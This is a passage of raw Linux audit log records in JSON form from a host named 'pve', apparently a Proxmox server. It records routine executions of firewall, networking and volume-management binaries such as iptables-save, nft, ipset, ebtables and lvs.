cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315540,"@rawstring":"node=pve type=PATH msg=audit(1781964315.540:60508): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315528,"@rawstring":"node=pve type=PATH msg=audit(1781964315.528:60507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315528,"@rawstring":"node=pve type=PATH msg=audit(1781964315.528:60507): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315515,"@rawstring":"node=pve type=PATH msg=audit(1781964315.515:60505): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315515,"@rawstring":"node=pve type=PATH msg=audit(1781964315.515:60505): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315503,"@rawstring":"node=pve type=PATH msg=audit(1781964315.503:60504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315503,"@rawstring":"node=pve type=PATH msg=audit(1781964315.503:60504): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315492,"@rawstring":"node=pve type=PATH msg=audit(1781964315.492:60503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315492,"@rawstring":"node=pve type=PATH msg=audit(1781964315.492:60503): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315479,"@rawstring":"node=pve type=PATH msg=audit(1781964315.479:60502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315479,"@rawstring":"node=pve type=PATH msg=audit(1781964315.479:60502): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315456,"@rawstring":"node=pve type=PATH msg=audit(1781964315.456:60501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315456,"@rawstring":"node=pve type=PATH msg=audit(1781964315.456:60501): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315349,"@rawstring":"node=pve type=PATH msg=audit(1781964315.349:60500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315349,"@rawstring":"node=pve type=PATH msg=audit(1781964315.349:60500): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315320,"@rawstring":"node=pve type=PATH msg=audit(1781964315.320:60499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315320,"@rawstring":"node=pve type=PATH msg=audit(1781964315.320:60499): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315293,"@rawstring":"node=pve type=PATH msg=audit(1781964315.293:60498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315293,"@rawstring":"node=pve type=PATH msg=audit(1781964315.293:60498): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315268,"@rawstring":"node=pve type=PATH msg=audit(1781964315.268:60497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315268,"@rawstring":"node=pve type=PATH msg=audit(1781964315.268:60497): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315250,"@rawstring":"node=pve type=PATH msg=audit(1781964315.250:60496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315250,"@rawstring":"node=pve type=PATH msg=audit(1781964315.250:60496): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315249,"@rawstring":"node=pve type=PATH msg=audit(1781964315.249:60495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315249,"@rawstring":"node=pve type=PATH msg=audit(1781964315.249:60495): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315249,"@rawstring":"node=pve type=PATH msg=audit(1781964315.249:60494): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315235,"@rawstring":"node=pve type=PATH msg=audit(1781964315.235:60493): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315235,"@rawstring":"node=pve type=PATH msg=audit(1781964315.235:60493): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315235,"@rawstring":"node=pve type=PATH msg=audit(1781964315.235:60493): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315216,"@rawstring":"node=pve type=PATH msg=audit(1781964315.216:60492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315216,"@rawstring":"node=pve type=PATH msg=audit(1781964315.216:60492): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315188,"@rawstring":"node=pve type=PATH msg=audit(1781964315.188:60491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315188,"@rawstring":"node=pve type=PATH msg=audit(1781964315.188:60491): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315176,"@rawstring":"node=pve type=PATH msg=audit(1781964315.176:60490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315176,"@rawstring":"node=pve type=PATH msg=audit(1781964315.176:60490): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315152,"@rawstring":"node=pve type=PATH msg=audit(1781964315.152:60489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315152,"@rawstring":"node=pve type=PATH msg=audit(1781964315.152:60489): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315117,"@rawstring":"node=pve type=PATH msg=audit(1781964315.117:60488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964315117,"@rawstring":"node=pve type=PATH msg=audit(1781964315.117:60488): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964314423,"@rawstring":"node=pve type=PATH msg=audit(1781964314.423:60487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964314423,"@rawstring":"node=pve type=PATH msg=audit(1781964314.423:60487): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964314387,"@rawstring":"node=pve type=PATH msg=audit(1781964314.387:60486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964314387,"@rawstring":"node=pve type=PATH msg=audit(1781964314.387:60486): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PATH msg=audit(1781964313.737:60485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PATH msg=audit(1781964313.737:60485): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PATH msg=audit(1781964313.737:60484): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PATH msg=audit(1781964313.737:60483): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PATH msg=audit(1781964313.726:60482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PATH msg=audit(1781964313.726:60482): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PATH msg=audit(1781964313.726:60481): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PATH msg=audit(1781964313.726:60480): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308713,"@rawstring":"node=pve type=PATH msg=audit(1781964308.713:60479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308713,"@rawstring":"node=pve type=PATH msg=audit(1781964308.713:60479): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308711,"@rawstring":"node=pve type=PATH msg=audit(1781964308.711:60478): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308711,"@rawstring":"node=pve type=PATH msg=audit(1781964308.711:60477): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PATH msg=audit(1781964308.691:60476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PATH msg=audit(1781964308.691:60476): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PATH msg=audit(1781964308.691:60475): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PATH msg=audit(1781964308.691:60474): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306078,"@rawstring":"node=pve type=PATH msg=audit(1781964306.078:60473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306078,"@rawstring":"node=pve type=PATH msg=audit(1781964306.078:60473): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306072,"@rawstring":"node=pve type=PATH msg=audit(1781964306.072:60472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306072,"@rawstring":"node=pve type=PATH msg=audit(1781964306.072:60472): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306070,"@rawstring":"node=pve type=PATH msg=audit(1781964306.070:60471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306070,"@rawstring":"node=pve type=PATH msg=audit(1781964306.070:60471): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306070,"@rawstring":"node=pve type=PATH msg=audit(1781964306.070:60470): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306064,"@rawstring":"node=pve type=PATH msg=audit(1781964306.064:60469): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306064,"@rawstring":"node=pve type=PATH msg=audit(1781964306.064:60469): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306064,"@rawstring":"node=pve type=PATH msg=audit(1781964306.064:60469): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306058,"@rawstring":"node=pve type=PATH msg=audit(1781964306.058:60468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306058,"@rawstring":"node=pve type=PATH msg=audit(1781964306.058:60468): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306049,"@rawstring":"node=pve type=PATH msg=audit(1781964306.049:60467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306049,"@rawstring":"node=pve type=PATH msg=audit(1781964306.049:60467): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306041,"@rawstring":"node=pve type=PATH msg=audit(1781964306.041:60466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306041,"@rawstring":"node=pve type=PATH msg=audit(1781964306.041:60466): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306033,"@rawstring":"node=pve type=PATH msg=audit(1781964306.033:60465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306033,"@rawstring":"node=pve type=PATH msg=audit(1781964306.033:60465): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306027,"@rawstring":"node=pve type=PATH msg=audit(1781964306.027:60463): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306027,"@rawstring":"node=pve type=PATH msg=audit(1781964306.027:60463): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306019,"@rawstring":"node=pve type=PATH msg=audit(1781964306.019:60462): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306019,"@rawstring":"node=pve type=PATH msg=audit(1781964306.019:60462): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306013,"@rawstring":"node=pve type=PATH msg=audit(1781964306.013:60461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306013,"@rawstring":"node=pve type=PATH msg=audit(1781964306.013:60461): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306004,"@rawstring":"node=pve type=PATH msg=audit(1781964306.004:60460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964306004,"@rawstring":"node=pve type=PATH msg=audit(1781964306.004:60460): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305998,"@rawstring":"node=pve type=PATH msg=audit(1781964305.998:60459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305998,"@rawstring":"node=pve type=PATH msg=audit(1781964305.998:60459): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305992,"@rawstring":"node=pve type=PATH msg=audit(1781964305.992:60458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305992,"@rawstring":"node=pve type=PATH msg=audit(1781964305.992:60458): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305984,"@rawstring":"node=pve type=PATH msg=audit(1781964305.984:60457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305984,"@rawstring":"node=pve type=PATH msg=audit(1781964305.984:60457): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305976,"@rawstring":"node=pve type=PATH msg=audit(1781964305.976:60456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305976,"@rawstring":"node=pve type=PATH msg=audit(1781964305.976:60456): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305969,"@rawstring":"node=pve type=PATH msg=audit(1781964305.969:60455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305969,"@rawstring":"node=pve type=PATH 